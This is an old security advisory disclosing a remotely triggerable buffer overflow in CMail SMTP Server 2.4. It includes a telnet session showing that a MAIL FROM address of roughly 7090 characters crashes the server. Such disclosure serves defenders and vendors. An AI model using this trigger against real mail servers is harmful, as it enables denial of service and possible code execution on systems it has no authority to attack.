Reporter Underground Security Systems Research
`CMail SMTP Server
Remotely exploitable buffer overflow
CMail SMTP Server Version 2.4 Problem: We found a buffer overflow in
the CMail SMTP service (long MAIL FROM:) that may allow an attacker to
execute arbitrary code on the target server, it is based on the eEye
pointed out overflows in cmail 2.3 >:-] Which was never fixed...
software vendors still not taking security issues seriously.
[cham@guilt cham]$ telnet example.com 25 Trying
Connected to example.com. Escape character is '^]'.
220 SMTP services ready. Computalynx CMail Server Version: 2.4
250 Hello ussr [yourip], how are you today?
MAIL FROM: cmail<[buffer]@cmaildotcom.com>
Where [buffer] is aprox. 7090 characters.
At his point the server overflows and crashes.
Just a typical buffer overflow that should
have been fixed in version 2.3 when it was pointed out to them.
u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h